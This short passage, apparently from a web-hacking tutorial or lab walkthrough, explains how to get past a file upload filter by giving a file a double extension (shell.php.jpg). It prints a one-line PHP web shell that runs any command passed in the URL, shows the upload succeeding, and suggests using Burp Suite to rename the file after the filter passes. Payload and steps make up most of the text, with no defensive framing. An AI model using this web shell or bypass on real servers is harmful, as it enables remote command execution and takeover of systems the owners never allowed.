Many filters only check the last extension. Try naming your file with a double extension — the server may treat it as an image while the web server still executes it as PHP.
Command / Input
File: shell.php.jpg
Content: <?php system($_GET["cmd"]); ?>
Output
Upload successful. File stored at /uploads/shell.php.jpg
⚑ Alternatively, if Burp Suite is available, intercept the upload request and change the filename from shell.jpg to shell.php after the filter has already passed.